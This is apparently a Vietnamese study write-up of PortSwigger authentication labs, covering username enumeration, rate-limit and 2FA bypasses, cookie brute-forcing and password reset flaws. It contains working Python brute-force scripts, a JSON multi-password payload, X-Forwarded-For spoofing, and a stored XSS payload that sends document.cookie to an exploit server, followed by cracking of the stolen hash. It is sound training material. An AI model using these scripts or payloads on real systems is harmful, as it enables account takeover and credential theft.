Username Enumeration
Mô tả:
Username enumeration is when an attacker is able to observe changes in the website's behavior in order to identify whether a given username is valid.
Username enumeration typically occurs either on the login page, for example, when you enter a valid username but an incorrect password, or on registration forms when you enter a username that is already taken. This greatly reduces the time and effort required to brute-force a login because the attacker is able to quickly generate a shortlist of valid usernames.
Cách khai thác:
While attempting to brute-force a login page, you should pay particular attention to any differences in:
- **Status codes**: During a brute-force attack, the returned HTTP status code is likely to be the same for the vast majority of guesses because most of them will be wrong. If a guess returns a different status code, this is a strong indication that the username was correct. It is best practice for websites to always return the same status code regardless of the outcome, but this practice is not always followed.
- **Error messages**: Sometimes the returned error message is different depending on whether both the username AND password are incorrect or only the password was incorrect. It is best practice for websites to use identical, generic messages in both cases, but small typing errors sometimes creep in. Just one character out of place makes the two messages distinct, even in cases where the character is not visible on the rendered page.
- **Response times**: If most of the requests were handled with a similar response time, any that deviate from this suggest that something different was happening behind the scenes. This is another indication that the guessed username might be correct. For example, a website might only check whether the password is correct if the username is valid. This extra step might cause a slight increase in the response time. This may be subtle, but an attacker can make this delay more obvious by entering an excessively long password that the website takes noticeably longer to handle.
Lab: Username Enumeration via Different Responses
Login với username và password bất kỳ:
POST /login HTTP/2
Host: 0ac6002103a7b11e80a380e000b800fb.web-security-academy.net
Cookie: session=0yQ1NoMq5QPMtKW5IPBst0TcvMqlrnsZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: https://0ac6002103a7b11e80a380e000b800fb.web-security-academy.net
Referer: https://0ac6002103a7b11e80a380e000b800fb.web-security-academy.net/login
username=abc&password=abc
Response có thông báo như sau:
<p class="is-warning">Invalid username</p>
Chạy Intruder cho param username
với wordlist lấy từ Authentication lab usernames | Web Security Academy.
Tìm thấy username là info
với thông báo như sau:
<p class=is-warning>Incorrect password</p>
Tiếp tục dùng Intruder để brute-force password với wordlist lấy từ Authentication lab passwords | Web Security Academy.
Tìm thấy password là monitoring
với response như sau:
HTTP/2 302 Found
Location: /my-account?id=info
Set-Cookie: session=WdSVyHGX8omYN2MJn9ZKgVEcuoHPp6kp; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Lab: Username Enumeration via Subtly Different Responses
Nếu login bằng username và password sai thì response là:
<p class=is-warning>Invalid username or password.</p>
Khi sử dụng Intruder cho param username
với wordlist cũ trong request sau:
POST /login HTTP/2
Host: 0a1d0089034fa49c81372a24000e00e2.web-security-academy.net
Cookie: session=JS7z7m1tQ24qcd4YfcfkEOqGpJWhN3nM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://0a1d0089034fa49c81372a24000e00e2.web-security-academy.net
Referer: https://0a1d0089034fa49c81372a24000e00e2.web-security-academy.net/login
username=a&password=a
Thì thấy một số request có chuỗi sau trong response:
<!-- -->
Tuy nhiên, dấu hiệu trên chưa phải là dấu hiệu đúng.
Khi filter các response không có chuỗi “Invalid username or password.” thì thấy có một response của username auto
với chuỗi “Invalid username or password” (thiếu mất dấu chấm). Đây rất có thể là username mà ta cần tìm.
Tiếp tục sử dụng Intruder để tìm password thì tìm được password là zxcvbn
với response là:
HTTP/2 302 Found
Location: /my-account?id=auto
Set-Cookie: session=ogve8we6F435j7SfwedcKxJTqHR7A6PN; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Lab: Username Enumeration via Response Timing
Khi thực hiện login sai quá nhiều lần (quá 3 lần) thì sẽ nhận được phản hồi sau:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 30 minute(s).</p>
Bypass bằng cách dùng header sau:
X-Forwarded-For: 127.0.0.1
Với 127.0.0.1
có thể là 127.0.0.2
, 127.0.0.3
, etc.
Khi gửi request với username và password đều sai thì response time là 238 mili giây. Tuy nhiên, khi gửi username đúng (chẳng hạn như username wiener
được cung cấp bởi mô tả của lab) cùng với một password dài:
username=wiener&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thì response time là 2607 mili giây.
Tận dụng điều này, ta có thể sử dụng Intruder để enum username dựa trên response time. Khi sử dụng Intruder, ta đồng thời cũng tăng dần giá trị octet cuối của X-Forwarded-For
để tránh bị khóa.
Tìm được username là apps
. Tiếp tục brute-force password thì tìm được password là trustno1
.
Flawed Brute-force Protection
Cách bypass IP-based blocking:
For example, you might sometimes find that your IP is blocked if you fail to log in too many times. In some implementations, the counter for the number of failed attempts resets if the IP owner logs in successfully. This means an attacker would simply have to log in to their own account every few attempts to prevent this limit from ever being reached.
In this case, merely including your own login credentials at regular intervals throughout the wordlist is enough to render this defense virtually useless.
Có thể lợi dụng thông báo lỗi của việc khóa tài khoản để enum username:
Just as with normal login errors, responses from the server indicating that an account is locked can also help an attacker to enumerate usernames.
Lab: Broken Brute-force Protection, IP Block
Nếu đăng nhập sai quá 2 lần thì sẽ nhận được thông báo sau:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>
Thử đăng nhập sai 2 lần và đúng 1 lần thì thấy rằng counter bị reset.
Viết script để thực hiện tấn công bằng 1 request đăng nhập với tài khoản wiener:peter
(đăng nhập đúng) chen giữa 2 lần brute-force:
import requests
import time
def send_request(session, url, username, password):
data = {'username': username, 'password': password}
return session.post(f'{url}/login',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'},
verify=False)
def main():
requests.packages.urllib3.disable_warnings()
target_url = 'https://0aa70000042879e781af8e4800eb0046.web-security-academy.net'
session = requests.Session()
with open('passwords.txt', 'r') as f:
passwords = f.read().splitlines()
for i, password in enumerate(passwords, 1):
# Try carlos login
response = send_request(session, target_url, 'carlos', password)
print(f"Trying carlos:{password} - Status: {response.status_code}")
# Handle rate limiting
if "You have made too many incorrect login attempts" in response.text:
print("Rate limit detected. Waiting for 60 seconds...")
time.sleep(60)
response = send_request(session, target_url, 'carlos', password)
# Send wiener request every 2 attempts
if i % 2 == 0:
send_request(session, target_url, 'wiener', 'peter')
print("Sent wiener:peter request")
# Check for successful login
if 'Set-Cookie' in response.headers and 'session=' in response.headers['Set-Cookie']:
print(f"Success! Password found: {password}")
print(f"Session cookie: {response.headers['Set-Cookie']}")
break
if __name__ == "__main__":
main()
Tìm ra được password là mom
. Đăng nhập để hoàn thành lab.
Lab: Username Enumeration via Account Lock
Sử dụng payload list trong param username
bên dưới từ wordlist Authentication lab usernames | Web Security Academy nhưng tái sử dụng mỗi giá trị 5 lần nhằm trigger account lock (paste danh sách payload 5 lần).
POST /login HTTP/2
Host: 0a1400a403ed29a5809576f3005700c7.web-security-academy.net
Cookie: session=znSir7DtxOjs3g3cmMwpiaDxS4PIk2gY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0a1400a403ed29a5809576f3005700c7.web-security-academy.net
Referer: https://0a1400a403ed29a5809576f3005700c7.web-security-academy.net/login
username=a&password=a
Username app01
có response sau khi đăng nhập sai nhiều lần:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>
Trong khi các username khác chỉ có thông báo "Invalid username or password."
.
Tiếp tục sử dụng Intruder để brute-force password.
Trong số các error message của các response chẳng hạn như `"You have made too many incorrect login attempts. Please try again in 1 minute(s)."` và `"Invalid username or password."` thì có một response không có error message nào. Password tương ứng với response này chính là password của `carlos` (`mom`).
User Rate Limiting
Một số trường hợp mà IP sẽ được unblocked:
Another way websites try to prevent brute-force attacks is through user rate limiting. In this case, making too many login requests within a short period of time causes your IP address to be blocked. Typically, the IP can only be unblocked in one of the following ways:
- Automatically after a certain period of time has elapsed
- Manually by an administrator
- Manually by the user after successfully completing a CAPTCHA
Cách bypass user rate limitingg bằng cách sử dụng nhiều credentials trong một request:
As the limit is based on the rate of HTTP requests sent from the user's IP address, it is sometimes also possible to bypass this defense if you can work out how to guess multiple passwords with a single request.
Xem thêm:
[Bypassing Rate Limits: All Known Techniques | by Raxomara | Medium](https://medium.com/@raxomara/bypassing-rate-limits-all-known-techniques-25891bb5ca59)
Lab: Broken Brute-force Protection, Multiple Credentials per Request
Request login có dạng như sau:
POST /login? HTTP/2
Host: 0a71006804838e3a81b92593000b0014.web-security-academy.net
Cookie: session=qDCpostCSNYnE0thSiijP1X2nfpCwzCr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a71006804838e3a81b92593000b0014.web-security-academy.net/login
Content-Length: 36
Origin: https://0a71006804838e3a81b92593000b0014.web-security-academy.net
{
"username" : "carlos",
"password" : "a"
}
Thay đổi giá trị của `password` từ một chuỗi thành mảng các chuỗi.
Thử thay đổi password
thành mảng các chuỗi:
{
"username" : "carlos",
"password" : [
"a"
]
}
Thì thấy server vẫn trả về thông báo lỗi sau cho biết password truyền vào đã được xử lý:
<p class=is-warning>Invalid username or password.</p>
Sử dụng script sau để tạo payload:
import json
import sys
def main():
if len(sys.argv) < 2:
print("Usage: python payload_generator.py <wordlist_file> [username]")
sys.exit(1)
wordlist_file = sys.argv[1]
username = sys.argv[2] if len(sys.argv) > 2 else "carlos"
try:
with open(wordlist_file, "r") as f:
passwords = f.read().splitlines()
except FileNotFoundError:
print(f"Error: {wordlist_file} not found!")
sys.exit(1)
payload = {
"username": username,
"password": passwords
}
print(json.dumps(payload))
if __name__ == "__main__":
main()
Chạy script để tạo payload như sau:
python .\payload_generator.py .\passwords.txt
Payload:
{"username": "carlos", "password": ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]}
Gửi request và đăng nhập thành công với response như sau:
HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=DuLPuzbUYJLaQznAZF13gd2d2LQZVuX8; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Intercept một login request bất kỳ và chèn payload trên vào rồi forward để hoàn thành lab.
Bypassing Two-factor Authentication
Cách bypass 2FA:
If the user is first prompted to enter a password, and then prompted to enter a verification code on a separate page, the user is effectively in a "logged in" state before they have entered the verification code. In this case, it is worth testing to see if you can directly skip to "logged-in only" pages after completing the first authentication step.
Lab: 2FA Simple Bypass
Sau khi đăng nhập và có cookie, chỉ cần quay về trang chủ là có thể bypass 2FA. Lỗ hổng nằm ở chỗ, với cookie được cấp phát, ta có thể truy cập vào trang /my-account
mà không cần phải nhập mã 2FA.
Flawed Two-factor Verification Logic
Mô tả:
Sometimes flawed logic in two-factor authentication means that after a user has completed the initial login step, the website doesn't adequately verify that the same user is completing the second step.
Ví dụ:
They are then assigned a cookie that relates to their account, before being taken to the second step of the login process:
~~~http
HTTP/1.1 200 OK
Set-Cookie: account=carlos
GET /login-steps/second HTTP/1.1
Cookie: account=carlos
~~~
When submitting the verification code, the request uses this cookie to determine which account the user is trying to access:
~~~http
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456
~~~
In this case, an attacker could log in using their own credentials but then change the value of the account cookie to any arbitrary username when submitting the verification code.
~~~http
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
~~~
Ảnh hưởng:
This is extremely dangerous if the attacker is then able to brute-force the verification code as it would allow them to log in to arbitrary users' accounts based entirely on their username.
Lab: 2FA Broken Logic
Sau khi đăng nhập, ta sẽ nhận được các cookie sau:
HTTP/2 302 Found
Location: /login2
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=TZhm8S0uiJtek4K40p5Trq6mdWok8Rrw; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Với verify
là cookie được dùng để xác định user thực hiện 2FA.
Ngoài ra, sẽ có một email chứa mã 2FA được gửi đến:
Sent: 2025-04-16 14:28:16 +0000
From: no-reply@0a7b009603fc0a8680988551009400b0.web-security-academy.net
To: wiener@exploit-0a17006503b80afa80f684bf01fb0009.exploit-server.net
Subject: Security code
Hello!
Your security code is 0043.
Please enter this in the app to continue.
Thanks,
Support team
Request xác thực 2FA:
POST /login2 HTTP/2
Host: 0a7b009603fc0a8680988551009400b0.web-security-academy.net
Cookie: session=Vr3MRlbmKL1hWeBDbxdjZtuI0LtGhqse; verify=carlos
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0a7b009603fc0a8680988551009400b0.web-security-academy.net
Referer: https://0a7b009603fc0a8680988551009400b0.web-security-academy.net/login2
mfa-code=1111
Tấn công bằng cách đăng nhập bằng tài khoản wiener:peter
rồi lấy session
cookie. Sau đó, thực hiện brute-force mã 2FA với verify
cookie là carlos
.
Tìm được response xác thực 2FA thành công như sau:
HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=2XY5wfKYOy2JfW2dPPmR3CVxzi23d51N; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Với mã 2FA là 0982
.
Sử dụng cookie này và truy cập vào endpoint /my-account
để hoàn thành lab.
Brute-forcing 2FA Verification Codes
Cách bypass brute-force protection:
Some websites attempt to prevent brute-forcing by automatically logging a user out if they enter a certain number of incorrect verification codes. This is ineffective in practice because an advanced attacker can even automate this multi-step process.
Lab: 2FA Bypass Using a Brute-force Attack
Ta sẽ tấn công bằng cách dùng một chuỗi các request.
Đầu tiên, khi lần đầu truy cập vào trang web, ta sẽ nhận được một cookie có tên là session
. Khi truy cập vào /login
sử dụng cookie này, ta sẽ nhận được form đăng nhập có CSRF token như sau:
<form class="login-form" method="POST" action="/login">
<input required type="hidden" name="csrf" value="sFbQ2k6By1tATgN5Z2JFpGDuyxPyW6rf"> <label>Username</label>
<input required type="username" name="username" autofocus> <label>Password</label> <input required type="password" name="password">
<button class="button" type="submit">Log in</button>
</form>
Khi nhấn “Log in”, sẽ có một POST request gửi đến /login
với CSRF trên:
POST /login HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=G20QssWngBZc8xoHpDl82JVsQ4MOxLLH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: https://0a48007003ba66a380de587800c20060.web-security-academy.net
Referer: https://0a48007003ba66a380de587800c20060.web-security-academy.net/login
csrf=sFbQ2k6By1tATgN5Z2JFpGDuyxPyW6rf&username=carlos&password=montoya
Response của nó là một server-side redirect đến /login2
với một session
cookie mới:
HTTP/2 302 Found
Location: /login2
Set-Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Khi gửi lại request này bằng repeater thì nhận được response như sau:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=vFGKrLqW6dK7C0TreQftvzdR4dXX7pOo; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 60
"Invalid CSRF token (session does not contain a CSRF token)"
Điều này cho thấy CSRF token chỉ có thể dùng một lần cho một cookie. Để có thể gửi lại POST request này, ta cần dùng cookie trong response có status code 400 ở trên để gửi GET request đến /login
nhằm lấy CSRF token mới.
Ngoài ra, ta cũng có thể gửi GET request đến /login
mà không có cookie để vừa nhận được cookie và CSRF token. Cụ thể hơn, đây chính là request đầu tiên trong chuỗi các request dùng để tấn công.
Sau POST request đến /login
là GET request đến /login2
với session
cookie mới nhằm lấy CSRF token mới và form nhập MFA code:
GET /login2 HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Referer: https://0a48007003ba66a380de587800c20060.web-security-academy.net/login
Response của nó có form chứa CSRF token như sau:
<form class="login-form" method="POST">
<input required type="hidden" name="csrf" value="QdrLq90gHe1d2VIUTn8jFSXsspDFwUjt"> <label>Please enter your 4-digit security code</label> <input required type="text" name="mfa-code">
<button class="button" type="submit">Login</button>
</form>
CSRF token này cũng như là cookie mới sẽ được dùng trong request xác thực MFA code sau:
POST /login2 HTTP/2
Host: 0a48007003ba66a380de587800c20060.web-security-academy.net
Cookie: session=mcOsk0sDLLxzA941b3XtcxQCkn8wr60N
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://0a48007003ba66a380de587800c20060.web-security-academy.net
csrf=QdrLq90gHe1d2VIUTn8jFSXsspDFwUjt&mfa-code=1111
Nếu sai lần đầu tiên, response sẽ có thông báo như sau:
<p class=is-warning>Incorrect security code</p>
Nếu sai lần thứ 2, response sẽ chứa một session
cookie mới kèm theo form đăng nhập với CSRF token mới. Điều này có nghĩa là chúng ta cần phải thực hiện lại toàn bộ quá trình xác thực kể cả đăng nhập.
Kịch bản tấn công:
GET /login
: lấysession
cookie 1 và CSRF token 1.POST /login
: đăng nhập vớisession
cookie 1 và CSRF token 1 để lấysession
cookie 2.GET /login2
: lấy CSRF token 2.POST /login2
: dùng CSRF token 2 gửi mã 2FA.
Sử dụng Cursor để viết script sau nhằm thực hiện tấn công:
import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def brute_force_mfa(base_url):
s = requests.Session()
s.proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
s.verify = False
headers = {
'Host': base_url.split('://')[1],
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': base_url,
'Referer': f'{base_url}/login'
}
def get_csrf(html): return BeautifulSoup(html, 'html.parser').find('input', {'name': 'csrf'}).get('value')
for code in range(10000):
try:
# First login phase
r1 = s.get(f'{base_url}/login', headers=headers)
csrf1 = get_csrf(r1.text)
r2 = s.post(f'{base_url}/login', headers=headers,
data={'csrf': csrf1, 'username': 'carlos', 'password': 'montoya'})
# Second login phase
r3 = s.get(f'{base_url}/login2', headers=headers)
csrf2 = get_csrf(r3.text)
r4 = s.post(f'{base_url}/login2', headers=headers,
data={'csrf': csrf2, 'mfa-code': f'{code:04d}'})
print(f"Trying: {code:04d}")
if r4.status_code == 302:
print(f"Success! MFA code: {code:04d}")
return True
except Exception as e:
print(f"Error with code {code:04d}: {str(e)}")
return False
if __name__ == "__main__":
brute_force_mfa("https://0a48007003ba66a380de587800c20060.web-security-academy.net")
May mắn tìm được MFA code khá nhỏ:
Trying MFA code: 0000
Trying MFA code: 0001
Trying MFA code: 0002
Trying MFA code: 0003
Trying MFA code: 0004
Trying MFA code: 0005
Trying MFA code: 0006
Trying MFA code: 0007
Trying MFA code: 0008
Trying MFA code: 0009
Trying MFA code: 0010
Trying MFA code: 0011
Trying MFA code: 0012
Trying MFA code: 0013
Trying MFA code: 0014
Trying MFA code: 0015
Trying MFA code: 0016
Trying MFA code: 0017
Trying MFA code: 0018
Trying MFA code: 0019
Trying MFA code: 0020
Trying MFA code: 0021
Trying MFA code: 0022
Trying MFA code: 0023
Trying MFA code: 0024
Trying MFA code: 0025
Trying MFA code: 0026
Trying MFA code: 0027
Trying MFA code: 0028
Trying MFA code: 0029
Trying MFA code: 0030
Trying MFA code: 0031
Trying MFA code: 0032
Trying MFA code: 0033
Trying MFA code: 0034
Trying MFA code: 0035
Trying MFA code: 0036
Trying MFA code: 0037
Trying MFA code: 0038
Trying MFA code: 0039
Success! MFA code found: 0039
Response status: 302
Response headers: {'Location': '/my-account?id=carlos', 'Set-Cookie': 'session=FVnpMgb3azfft6cTCL8gOo77v13ARMzw; Secure; HttpOnly; SameSite=None', 'X-Frame-Options': 'SAMEORIGIN', 'Content-Length': '0'}
Lưu cookie này vào trình duyệt và gửi request đến /my-account
để hoàn thành lab.
Script này khá chậm nên phải rất may mắn mới giải được lab.
Thay vào đó, ta cần sử dụng Macro như trong [lời giải](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack).
Sau khi thử sử dụng thì thấy nó đơn giản hơn việc dùng script do nó có thể trích xuất param từ response:
~~~ad-quote
The ability to derive a request parameter's value from a previous response is particularly useful in some multi-stage processes, and in situations where applications make aggressive use of CSRF tokens.
Parameter derivation is based on the parameter name and the URL requested. If you specify that a parameter's value should be derived from a previous response, Burp examines that response for instances where the named parameter was submitted to the relevant URL. For example, a form that uses the given action URL and contains a field with the given name. If Burp finds a suitable source, it extracts the parameter's value from that response and updates it in the request.
When you define a new macro, Burp automatically tries to find any relationships of this kind by identifying parameters whose values can be determined from the preceding response. For example: form field values, redirection targets, or query strings in links. You can override the automatic analysis if required.
~~~
Tuy nhiên, tốc độ của nó vẫn không nhanh hơn.
Keeping Users Logged in
Tính năng duy trì đăng nhập:
A common feature is the option to stay logged in even after closing a browser session. This is usually a simple checkbox labeled something like "Remember me" or "Keep me logged in".
This functionality is often implemented by generating a "remember me" token of some kind, which is then stored in a persistent cookie. As possessing this cookie effectively allows you to bypass the entire login process, it is best practice for this cookie to be impractical to guess.
Cách khai thác:
Some websites assume that if the cookie is encrypted in some way it will not be guessable even if it does use static values. While this may be true if done correctly, naively "encrypting" the cookie using a simple two-way encoding like Base64 offers no protection whatsoever. Even using proper encryption with a one-way hash function is not completely bulletproof. If the attacker is able to easily identify the hashing algorithm, and no salt is used, they can potentially brute-force the cookie by simply hashing their wordlists.
Trong trường hợp không thể tạo tài khoản nhưng ta có cookie của một user nào đó (chẳng hạn thông qua XSS) thì ta có thể suy luận ra cách tạo thành cookie và tấn công các user khác:
Even if the attacker is not able to create their own account, they may still be able to exploit this vulnerability. Using the usual techniques, such as XSS, an attacker could steal another user's "remember me" cookie and deduce how the cookie is constructed from that. If the website was built using an open-source framework, the key details of the cookie construction may even be publicly documented.
Lab: Brute-forcing a Stay-logged-in Cookie
Request đăng nhập:
POST /login HTTP/2
Host: 0a1c00d60364d3bf80afe9540076003c.web-security-academy.net
Cookie: session=e5dBwJDjcBtEa7y94sbihILtebgQ7RPF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: https://0a1c00d60364d3bf80afe9540076003c.web-security-academy.net
Referer: https://0a1c00d60364d3bf80afe9540076003c.web-security-academy.net/login
username=wiener&password=peter&stay-logged-in=on
Response có chứa 2 cookies:
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=Q5qi5VBwB2BDrFJrHMzHRDADmcVZlzuI; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Nếu xóa session
và chừa lại stay-logged-in
, ta vẫn có thể truy cập được trang tài khoản /my-account?id={username}
.
Giá trị của stay-logged-in
là dạng base64-encoded. Khi decode, nó có giá trị là:
wiener:51dc30ddc473d43a6011e9ebba6ca770
Hơn thế nữa, 51dc30ddc473d43a6011e9ebba6ca770
là dạng MD5 hash của peter
(mật khẩu).
Như vậy, ta có thể brute-force stay-logged-in
cookie của carlos
bằng Hackvertor như sau:
stay-logged-in=<@base64>carlos:<@md5>password</@md5></@base64>
Chúng ta sẽ gửi GET request đến /my-account?id=carlos
với giá trị trên. Nếu response có status code là 200 thì đó chính là cookie của carlos
. Tìm được một response có status code là 200 tương ứng với password 1234567890
.
Sử dụng wordlist ở [Authentication lab passwords | Web Security Academy](https://portswigger.net/web-security/authentication/auth-lab-passwords).
Lab: Offline Password Cracking
Format của stay-logged-in
cookie vẫn là base64(username:MD5(password))
. Tuy nhiên, khi thực hiện brute-force như
Lab có lỗ hổng Stored XSS ở chức năng comment, sử dụng request sau để tấn công:
POST /post/comment HTTP/2
Host: 0af200ee03a57591815f128c00820011.web-security-academy.net
Cookie: session=znsav5cRLpZ2r8WhZroA24Lh6w11OyQ8; stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Origin: https://0af200ee03a57591815f128c00820011.web-security-academy.net
Referer: https://0af200ee03a57591815f128c00820011.web-security-academy.net/post?postId=10
postId=10&comment=%3cscript%3efetch(%60https%3a%2f%2fexploit-0ac500c5038375a4810011c401fb0016.exploit-server.net%2fexploit%3fcookie%3d%24%7bdocument.cookie%7d%60)%3c%2fscript%3e&name=name&email=a%40a.com&website=
Với field có lỗ hổng là comment
và payload sử dụng là:
<script>fetch(`https://exploit-0ac500c5038375a4810011c401fb0016.exploit-server.net/exploit?cookie=${document.cookie}`)</script>
Kiểm tra access log của exploit server thì thấy dòng log sau:
10.0.3.117 2025-04-18 14:22:53 +0000 "GET /exploit?cookie=secret=NrL7W9mjyBB9rXAp1S25p4W5FON83Jon;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Giá trị của stay-logged-in
khi được decode là:
carlos:26323c16d5f4dabff3bb136f2460a943
Sử dụng CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc., tìm được plaintext là onceuponatime
.
Đăng nhập bằng tài khoản carlos:onceuponatime
và xóa tài khoản để hoàn thành lab.
Resetting User Passwords
Sau đây là một số cách mà các ứng dụng triển khai tính năng reset password.
Sending Passwords by Email
Nếu password đã được hash thì ta không thể gửi cho user thông qua email:
It should go without saying that sending users their current password should never be possible if a website handles passwords securely in the first place. Instead, some websites generate a new password and send this to the user via email.
Thay vào đó, ứng dụng cần tạo mới password và gửi cho user.
Việc gửi password thông qua một kênh không an toàn có thể bị tấn công Man-in-the-Middle (MitM) nếu không triển khai các biện pháp chẳng hạn như đặt expire time cho password:
Generally speaking, sending persistent passwords over insecure channels is to be avoided. In this case, the security relies on either the generated password expiring after a very short period, or the user changing their password again immediately. Otherwise, this approach is highly susceptible to man-in-the-middle attacks.
Resetting Passwords Using a URL
Nếu ứng dụng gửi URL để user đặt lại password quá dễ đoán (biết được rằng user nào đang thực hiện reset), thì nó có thể bị tấn công:
A more robust method of resetting passwords is to send a unique URL to users that takes them to a password reset page. Less secure implementations of this method use a URL with an easily guessable parameter to identify which account is being reset, for example:
`http://vulnerable-website.com/reset-password?user=victim-user`
Trong ví dụ trên, attacker chỉ việc thay user
thành một username của nạn nhân để reset password của họ.
Cách tiếp cận an toàn hơn là sử dụng một token có entropy cao trong URL chẳng hạn như:
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
Khi nhận được token, ứng dụng nên kiểm tra xem nó có tồn tại trong backend hay không và vô hiệu hóa nó ngay khi người dùng reset password thành công:
